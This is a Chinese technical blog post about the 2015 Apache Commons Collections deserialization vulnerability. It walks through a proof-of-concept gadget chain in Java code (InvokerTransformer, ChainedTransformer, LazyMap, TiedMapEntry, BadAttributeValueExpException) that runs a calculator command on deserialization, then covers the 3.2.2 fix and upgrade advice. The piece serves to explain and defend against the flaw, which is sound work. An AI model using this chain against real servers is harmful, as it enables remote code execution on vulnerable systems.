[[333788]]

在《fastjson到底做錯了什么?為什么會被頻繁爆出漏洞?》文章中，我從技術角度分析過為什么fastjson會被頻繁爆出一些安全漏洞，然后有人在評論區發表"說到底就是fastjson爛…"等言論，一般遇到這種評論我都是不想理的。

但是事后想想，這個事情還是要單獨說一下，因為這種想法很危險。

一旦這位讀者有一天當上了領導，那么如果他負責的項目發生了漏洞，他還是站出來說"都怪XXX代碼寫的爛…"，這其實是非常可怕的。

工作久了的話，就會慢慢有種感覺：代碼都是人寫的，是人寫的代碼就可能存在漏洞，這個是永遠都無法避免的，任何牛X的程序員都不可能寫出完全沒有bug的代碼!

其實關于序列化的安全性問題，無論是Java原生的序列化技術還是很多其他的開源序列化工具，都曾經發生過。

序列化的安全性，一直都是比較大的一個話題，我無意為fastjson辯駁，但是出問題之后直接噴代碼寫的爛，其實是有點不負責任的。

Apache-Commons-Collections這個框架，相信每一個Java程序員都不陌生，這是一個非常著名的開源框架。

但是，他其實也曾經被爆出過序列化安全漏洞，而漏洞的表現和fastjson一樣，都是可以被遠程執行命令。

背景

Apache Commons是Apache軟件基金會的項目，Commons的目的是提供可重用的、解決各種實際的通用問題且開源的Java代碼。

Commons Collections包為Java標準的Collections API提供了相當好的補充。在此基礎上對其常用的數據結構操作進行了很好的封裝、抽象和補充。讓我們在開發應用程序的過程中，既保證了性能，同時也能大大簡化代碼。

Commons Collections的最新版是4.4，但是使用比較廣泛的還是3.x的版本。其實，在3.2.1以下版本中，存在一個比較大的安全漏洞，可以被利用來進行遠程命令執行。

這個漏洞在2015年第一次被披露出來，但是業內一直稱稱這個漏洞為"2015年最被低估的漏洞"。

因為這個類庫的使用實在是太廣泛了，首當其中的就是很多Java Web Server，這個漏洞在當時橫掃了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。

之后，Gabriel Lawrence和Chris Frohoff兩位大神在《Marshalling Pickles how deserializing objects can ruin your day》中提出如何利用Apache Commons Collection實現任意代碼執行。

問題復現

這個問題主要會發生在Apache Commons Collections的3.2.1以下版本，本次使用3.1版本進行測試，JDK版本為Java 8。

利用Transformer攻擊

Commons Collections中提供了一個Transformer接口，主要是可以用來進行類型轉換的，這個接口有一個實現類是和我們今天要介紹的漏洞有關的，那就是InvokerTransformer。

InvokerTransformer提供了一個transform方法，該方法核心代碼只有3行，主要作用就是通過反射對傳入的對象進行實例化，然后執行其iMethodName方法。

利用Transformer攻擊

Commons Collections中提供了一個Transformer接口，主要是可以用來進行類型轉換的，這個接口有一個實現類是和我們今天要介紹的漏洞有關的，那就是InvokerTransformer。InvokerTransformer提供了一個transform方法，該方法核心代碼只有3行，主要作用就是通過反射對傳入的對象進行實例化，然后執行其iMethodName方法。

而需要調用的iMethodName和需要使用的參數iArgs其實都是InvokerTransformer類在實例化時設定進來的，這個類的構造函數如下：

也就是說，使用這個類，理論上可以執行任何方法。那么，我們就可以利用這個類在Java中執行外部命令。

我們知道，想要在Java中執行外部命令，需要使用Runtime.getRuntime().exec(cmd)的形式，那么，我們就想辦法通過以上工具類實現這個功能。

首先，通過InvokerTransformer的構造函數設置好我們要執行的方法以及參數：

Transformer transformer = new InvokerTransformer("exec", 
 
        new Class[] {String.class}, 
 
        new Object[] {"open /Applications/Calculator.app"}); 

通過，構造函數，我們設定方法名為exec，執行的命令為open /Applications/Calculator.app，即打開mac電腦上面的計算器(windows下命令：C:\\Windows\\System32\\calc.exe)。

然后，通過InvokerTransformer實現對Runtime類的實例化：

transformer.transform(Runtime.getRuntime()); 

運行程序后，會執行外部命令，打開電腦上的計算機程序：

至此，我們知道可以利用InvokerTransformer來調用外部命令了，那是不是只需要把一個我們自定義的InvokerTransformer序列化成字符串，然后再反序列化，接口實現遠程命令執行：

先將transformer對象序列化到文件中，再從文件中讀取出來，并且執行其transform方法，就實現了攻擊。

你以為這就完了?

但是，如果事情只有這么簡單的話，那這個漏洞應該早就被發現了。想要真的實現攻擊，那么還有幾件事要做。

因為，newTransformer.transform(Runtime.getRuntime());這樣的代碼，不會有人真的在代碼中寫的。

如果沒有了這行代碼，還能實現執行外部命令么?

這就要利用到Commons Collections中提供了另一個工具那就是ChainedTransformer，這個類是Transformer的實現類。

ChainedTransformer類提供了一個transform方法，他的功能遍歷他的iTransformers數組，然后依次調用其transform方法，并且每次都返回一個對象，并且這個對象可以作為下一次調用的參數。

那么，我們可以利用這個特性，來自己實現和transformer.transform(Runtime.getRuntime());同樣的功能：

 Transformer[] transformers = new Transformer[] { 
 
    //通過內置的ConstantTransformer來獲取Runtime類 
 
    new ConstantTransformer(Runtime.class), 
 
    //反射調用getMethod方法，然后getMethod方法再反射調用getRuntime方法，返回Runtime.getRuntime()方法 
 
    new InvokerTransformer("getMethod", 
 
        new Class[] {String.class, Class[].class }, 
 
        new Object[] {"getRuntime", new Class[0] }), 
 
    //反射調用invoke方法，然后反射執行Runtime.getRuntime()方法，返回Runtime實例化對象 
 
    new InvokerTransformer("invoke", 
 
        new Class[] {Object.class, Object[].class }, 
 
        new Object[] {null, new Object[0] }), 
 
    //反射調用exec方法 
 
    new InvokerTransformer("exec", 
 
        new Class[] {String.class }, 
 
        new Object[] {"open /Applications/Calculator.app"}) 
 
}; 
 
 
 
Transformer transformerChain = new ChainedTransformer(transformers); 

在拿到一個transformerChain之后，直接調用他的transform方法，傳入任何參數都可以，執行之后，也可以實現打開本地計算器程序的功能：

那么，結合序列化，現在的攻擊更加進了一步，不再需要一定要傳入newTransformer.transform(Runtime.getRuntime());這樣的代碼了，只要代碼中有transformer.transform()方法的調用即可，無論里面是什么參數：

攻擊者不會滿足于此

但是，一般也不會有程序員會在代碼中寫這樣的代碼。那么，攻擊手段就需要更進一步，真正做到"不需要程序員配合"。于是，攻擊者們發現了在Commons Collections中提供了一個LazyMap類，這個類的get會調用transform方法。(Commons Collections還真的是懂得黑客想什么呀。)

那么，現在的攻擊方向就是想辦法調用到LazyMap的get方法，并且把其中的factory設置成我們的序列化對象就行了。

順藤摸瓜，可以找到Commons Collections中的TiedMapEntry類的getValue方法會調用到LazyMap的get方法，而TiedMapEntry類的getValue又會被其中的toString()方法調用到。

public String toString() { 
 
    return getKey() + "=" + getValue(); 
 
} 
 
 
 
public Object getValue() { 
 
    return map.get(key); 
 
} 

那么，現在的攻擊門檻就更低了一些，只要我們自己構造一個TiedMapEntry，并且將他進行序列化，這樣，只要有人拿到這個序列化之后的對象，調用他的toString方法的時候，就會自動觸發bug。

Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();Map lazyMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");

我們知道，toString會在很多時候被隱式調用，如輸出的時候(System.out.println(ois.readObject());)，代碼示例如下：

現在，黑客只需要把自己構造的TiedMapEntry的序列化后的內容上傳給應用程序，應用程序在反序列化之后，如果調用了toString就會被攻擊。

只要反序列化，就會被攻擊

那么，有沒有什么辦法，讓代碼只要對我們準備好的內容進行反序列化就會遭到攻擊呢?

倒還真的被發現了，只要滿足以下條件就行了：

那就是在某個類的readObject會調用到上面我們提到的LazyMap或者TiedMapEntry的相關方法就行了。因為Java反序列化的時候，會調用對象的readObject方法。

通過深入挖掘，黑客們找到了BadAttributeValueExpException、AnnotationInvocationHandler等類。這里拿BadAttributeValueExpException舉例

BadAttributeValueExpException類是Java中提供的一個異常類，他的readObject方法直接調用了toString方法：

那么，攻擊者只需要想辦法把TiedMapEntry的對象賦值給代碼中的valObj就行了。通過閱讀源碼，我們發現，只要給BadAttributeValueExpException類中的成員變量val設置成一個TiedMapEntry類型的對象就行了。這就簡單了，通過反射就能實現：

Transformer transformerChain = new ChainedTransformer(transformers); 
 
 
 
Map innerMap = new HashMap(); 
 
Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 
 
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key"); 
 
 
 
BadAttributeValueExpException poc = new BadAttributeValueExpException(null); 
 
 
 
// val是私有變量，所以利用下面方法進行賦值 
 
Field valfield = poc.getClass().getDeclaredField("val"); 
 
valfield.setAccessible(true); 
 
valfield.set(poc, entry); 

于是，這時候，攻擊就非常簡單了，只需要把BadAttributeValueExpException對象序列化成字符串，只要這個字符串內容被反序列化，那么就會被攻擊。

問題解決

以上，我們復現了這個Apache Commons Collections類庫帶來的一個和反序列化有關的遠程代碼執行漏洞。

通過這個漏洞的分析，我們可以發現，只要有一個地方代碼寫的不夠嚴謹，就可能會被攻擊者利用。

因為這個漏洞影響范圍很大，所以在被爆出來之后就被修復掉了，開發者只需要將Apache Commons Collections類庫升級到3.2.2版本，即可避免這個漏洞。

3.2.2版本對一些不安全的Java類的序列化支持增加了開關，默認為關閉狀態。涉及的類包括

CloneTransformer 
 
ForClosure 
 
InstantiateFactory 
 
InstantiateTransformer 
 
InvokerTransformer 
 
PrototypeCloneFactory 
 
PrototypeSerializationFactory, 
 
WhileClosure 

如在InvokerTransformer類中，自己實現了和序列化有關的writeObject()和 readObject()方法：

在兩個方法中，進行了序列化安全的相關校驗，校驗實現代碼如下：

在序列化及反序列化過程中，會檢查對于一些不安全類的序列化支持是否是被禁用的，如果是禁用的，那么就會拋出UnsupportedOperationException，通過org.apache.commons.collections.enableUnsafeSerialization設置這個特性的開關。

將Apache Commons Collections升級到3.2.2以后，執行文中示例代碼，將報錯如下：

Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources. 
 
    at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183) 
 
    at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155) 

后話

本文介紹了Apache Commons Collections的歷史版本中的一個反序列化漏洞。

如果你閱讀本文之后，能夠有以下思考，那么本文的目的就達到了：

1、代碼都是人寫的，有bug都是可以理解的

2、公共的基礎類庫，一定要重點考慮安全性問題

3、在使用公共類庫的時候，要時刻關注其安全情況，一旦有漏洞爆出，要馬上升級

4、安全領域深不見底，攻擊者總能抽絲剝繭，一點點bug都可能被利用

參考資料：

https://commons.apache.org/proper/commons-collections/release_3_2_2.html

https://p0sec.net/index.php/archives/121/

https://www.freebuf.com/vuls/175252.html

https://kingx.me/commons-collections-java-deserialization.html